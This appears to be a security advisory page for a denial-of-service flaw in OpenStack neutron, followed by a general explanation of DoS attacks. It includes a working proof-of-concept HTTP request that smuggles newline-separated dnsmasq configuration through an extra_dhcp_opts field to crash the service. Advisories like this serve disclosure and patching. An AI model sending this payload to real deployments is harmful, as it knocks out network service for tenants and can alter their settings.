Denial of Service (DoS) Affecting neutron package, versions [0,16.4.1) [17.0.0,17.2.1) [18.0.0,18.1.1)

neutron is an OpenStack project to provide “network connectivity as a service” between interface devices (e.g., vNICs) managed by other OpenStack services (e.g., nova). It implements the Neutron API.

Affected versions of this package are vulnerable to Denial of Service (DoS). By supplying a specially crafted extra_dhcp_opts value, an authenticated user may add arbitrary configuration to the dnsmasq process in order to crash the service, change parameters for other tenants sharing the same interface, or otherwise alter that daemon's behavior.

PoC

// A payload to crash dnsmasq
PUT /v2.0/ports/9db67e0f-537c-494a-a655-c8a0c518d57e HTTP/1.1
Host: openstack
X-Auth-Token: TOKEN
Content-Type: application/json
Content-Length: 170

{"port":{
"extra_dhcp_opts":[{"opt_name":"zzz",
"opt_value":"xxx\n128,aa:bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb\n120,aa.cc\n128,:"
}]}}

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

• Commit
• Neutron Bug
• Openstack Advisory
• OSS Security Advisory